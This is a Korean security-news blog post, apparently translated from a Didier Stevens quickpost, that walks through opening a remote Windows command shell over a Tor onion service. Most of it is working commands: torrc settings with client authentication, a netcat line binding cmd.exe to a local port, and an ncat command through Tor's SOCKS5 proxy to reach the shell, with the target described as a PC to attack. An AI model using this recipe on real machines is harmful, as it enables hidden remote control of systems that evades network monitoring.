포스팅 내용

국내외 보안동향

토르 어니언 서비스를 이용한 원격 쉘

윈도우 토르 클라이언트에서 (히든 서비스로 알려진) 토르 어니언 서비스 이용하기


1. 토르 전문가 번들(토르 브라우저도 가능)을 다운로드합니다.


2. 아래와 같이 토르 구성 파일 torrc 생성합니다.


HiddenServiceDir C:\demo\Tor\service

HiddenServicePort 8662 127.0.0.1:12345


3. 토르가 시작되면, 폴더(C:\demo\Tor\Service) 생성되고 파일 개가 생성됩니다

(호스트네임 파일에는 토르 어니언 서비스에서 생성한 .onion 주소가 포함됩니다).


 - 어니언 서비스는 포트 8662에서 수신대기하고, 트래픽은 127.0.0.1:12345로 포워딩됩니다.


 - 이 서비스에 대해 클라이언트 인증을 할 수 있습니다(클라이언트 인증을 하지 않으면, 해당 .onion 주소를 알고 있는 모든 사람과 해당 포트를 통해 접속할 수 있습니다.)


 - 기본 클라이언트 인증은 공유 암호를 사용하고 아래(torrc)와 같이 구성됩니다

HiddenServiceAuthorizeClient basic testuser


4. 클라이언트 이름으로 testuser 선택합니다.


<이미지 출처 : https://blog.didierstevens.com/2018/02/05/quickpost-remote-shell-on-windows-via-tor-onion-service/?utm_source=securitydailynews.com>


5. 구성 파일 torrc로 토르 서비스를 시작합니다.


tor.exe -f torrc


<이미지 출처 : https://blog.didierstevens.com/2018/02/05/quickpost-remote-shell-on-windows-via-tor-onion-service/?utm_source=securitydailynews.com>


 - 해당 .onion 주소와 클라이언트 인증 쿠키는 서비스 폴더의 호스트네임 파일에 포함됩니다:

   nybjuivgocveiyeq.onion Wa5kOshPqZF4tFynr4ug1g # client: testuser


 - 인증 쿠키는 밝히지 않고, 데모 버전으로 보여드리겠습니다.

 

- 윈도우 기반 PC에서 nc.exe를 사용해 해당 서비스를 시작합니다.


   nc -e cmd.exe -L -s 127.0.0.1 -p 12345


<이미지 출처 : https://blog.didierstevens.com/2018/02/05/quickpost-remote-shell-on-windows-via-tor-onion-service/?utm_source=securitydailynews.com>


 - 토르 전문가 번들과 nc.exeDLL 같은 추가 의존성 이슈는 없습니다또한 일반 사용자도 실행할 수 있습니다.


6. 이제 공격할 PC가 준비되었습니다.

다른 기기에서, 아래 인증 쿠키가 포함된 구성 파일로 토르를 시작합니다.


HidServAuth nybjuivgocveiyeq.onion Wa5kOshPqZF4tFynr4ug1g



<이미지 출처 : https://blog.didierstevens.com/2018/02/05/quickpost-remote-shell-on-windows-via-tor-onion-service/?utm_source=securitydailynews.com>


7. 그런 다음, socks5 프록시를 지원하는 ncat을 실행합니다(nc.exe는 지원하지 않습니다).


ncat.exe --proxy 127.0.0.1:9050 --proxy-type socks5 nybjuivgocveiyeq.onion 8662


위 과정을 통해 원격 쉘이 제공되었습니다:


<이미지 출처 : https://blog.didierstevens.com/2018/02/05/quickpost-remote-shell-on-windows-via-tor-onion-service/?utm_source=securitydailynews.com>


** 회귀 버그(소프트웨어를 수정한 , 과거에 고쳤던 버그가 다시 살아나는 ) 때문에 7.60 버전에서는 작동하지 않음을 주의하시기 바랍니다.

(오류 메시지)


libnsock select_loop(): nsock_loop error 10038: 소켓 이외의 개체에 작업을 시도했습니다.


<이미지 출처 : https://blog.didierstevens.com/2018/02/05/quickpost-remote-shell-on-windows-via-tor-onion-service/?utm_source=securitydailynews.com>






출처 : 


티스토리 방명록 작성
name password homepage